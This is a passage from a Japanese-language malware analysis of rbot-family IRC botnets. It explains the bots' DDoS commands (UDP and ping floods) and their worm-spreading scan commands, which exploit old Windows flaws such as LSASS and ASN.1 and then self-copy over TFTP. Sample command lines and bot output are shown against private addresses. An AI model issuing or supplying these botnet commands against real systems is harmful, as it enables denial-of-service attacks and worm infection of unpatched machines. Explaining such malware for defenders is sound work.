Articles - Malware |
DDoSアタック・サービス妨害
Botnetを持つ大きな目的の一つであるDDoSアタック用のコマンドも当然ながら用意されている。ランダムにアタックを行う「.ddos.random」から、icmpflood/pingflood/synflood/tcpflood/udpfloodなどを指定してのアタックするコマンドなどがあり、いずれもターゲットのアドレスとともにパケットサイズやディレイタイムなどを指定するだけだ。
多くのボットを所有するクラッカーであれば、コマンド一発で相手を攻撃し、相応の被害を与えることができるわけだ(大規模なボットネットであればあるほど)。
また、攻撃元となるボットは感染したコンピュータであるため、クラッカーのリソースを一切使わずに相手にダメージを与えられる。これは大きなメリットだろう。もちろん、勝手に使われる側や攻撃される側はたまったものではないのだが。
■図18:コマンドを入力するだけで多くのBotに一斉に指令を下してアタックを開始できる(ただしrbot系では一部バグのあるものも存在していた)。
.udpflood 192.168.1.20 1000 4096 100 ←UDP FLOOD
<[HJ]-87745> [UDP]: Sending 1000 packets to: 192.168.1.20. Packet size: 4096, Delay: 100(ms).
.udpstop
<[HJ]-87745> [UPD]: UDP flood stopped. (1 thread(s) stopped.)
.pingflood 192.168.1.20 1000 4096 100 ←PING FLOOD
<[HJ]-87745> [PING]: Sending 1000 pings to 192.168.1.20. packet size: 4096, timeout: 100(ms).
<[HJ]-87745> [PING]: Finished sending pings to 192.168.1.20.
脆弱性を突いてボットを拡散させる
rbot系に用意されたスキャンモードには、ポートスキャン(該当のアドレス範囲で指定したポートがアクティブかの確認)と、セキュリティホールを突くアドバンストスキャンモードがある。ボットの拡散に使われるのが、このアドバンストスキャンモードである。多くの亜種が作成されるが、そのほとんどがアタックで用いる攻撃コード(Exploit)の内容を変更して、新たなもの加えたり、既に終わっているセキュリティホールなどを除外するといった改変を行っている。
アドバンストスキャンモードでは、スキャンが開始されると、その指令を下されたBot側でサーバが起動(たとえばTFTPやFTPサーバ)し、アタックが成功したコンピュータへ自身をコピーして拡散が自動化される。
実際には「.scanstats」コマンドでスキャンできる攻撃内容閲覧し、その中から使用するものを選択する。あとは、攻撃するアドレス範囲やポートを指定してスキャンを開始するだけである。コマンドは「.advscan [攻撃タイプ] [ip] [-abr] 」のように指定され、たとえば、「.advscan lsass_445 100 5 120 -b -r」とした場合、LSASSの脆弱性(ポート445)を突き、Bクラスのアドレス範囲(192.168.x.xなど)で120分間(ディレイタイム5秒-100スレッド)でのアタックを行う指定となる。また、アタックの結果も「.scanstats」で参照できる(たとえば、asn1http: 20など)。
数年前の古いセキュリティホールを突くものも現役で使用されていたりするが、それでも感染してしまうコンピュータは存在する。主にアップデートされず放置されているコンピュータなどが考えられるが、実際に自動化された拡散ネット(Spread net)については後述する。ちなみにボットによっては、感染した時点でローカルネットワークのスキャンを自動化するものも存在する。
ポートスキャンモードはアドレスとポート、そしてスキャンのディレイタイムを入力してアクティブなコンピュータを探し出す。たとえば、「.scan 192.168.1.0 445 10」は、IPアドレス192.168.1.0から順番にポート445をディレイタイム10秒でスキャンする指定になる(.scan [ip] [port] [ディレイタイム])。
■図19:古いセキュリティホール、MS04-007(ASN.1の脆弱性によりコードが実行される)を使用してスキャンを開始した例。成功すると、既に起動しているTFTPサーバ経由でボットがコピー、実行される。
.scanstats ←スキャン状況の確認
<[HJ]-87745> [SCAN]: Exploit Statistics: WebDav: 0, NetBios: 0, NTPass: 0, Dcom135: 0, Dcom445: 0, Dcom1025: 0, Dcom2-135: 0, Dcom2-445: 0, IIS5SSL: 0, MSSQL: 0, Beagle1: 0, Beagle2: 0, MyDoom: 0, lsass_445: 5, lsass_139: 0, Optix: 0, UPNP: 0, NetDevil: 0, NetDevil: 0, DameWare: 0, Kuang2: 0, Sub7: 0, WKSSVC_Eng: 0, WKSSVC_Other: 0, Veritas Backup Exec: 0, asn1http: 20, asn1smb: 0, asn1smbnt: 0, Total: 0 in 0d 0h 1m.
.advscan asn1http 100 5 120 -b -r ←アタックを開始
<[HJ]-87745> [SCAN]: Random Port Scan started on 192.168.x.x:80 with a delay of 5 seconds for 120 minutes using 100 threads.
●TFTPサーバはスキャン開始と同時に起動している。ming.exeがボットである
<[HJ]-87745> [TFTP]: Server started on Port: 69, File: C:\WINDOWS\system32\ming.exe, Request: ming.exe.
■図20:ポートスキャンでサービスが稼働しているかをチェック。
.scan 192.168.1.0 445 5 ←ポート445をスキャン
<[HJ]-87745> [SCAN]: Port scan started: 192.168.1.0:445 with delay: 5(ms).
<[HJ]-87745> [SCAN]: IP: 192.168.1.2 Port: 445 is open.
<[HJ]-87745> [SCAN]: IP: 192.168.1.81 Port: 445 is open.
<[HJ]-87745> [SCAN]: IP: 192.168.1.111 Port: 445 is open.
■図21:アドバンストスキャンを開始した後のボットの通信状況。次々とアタックを行っていることがわかる。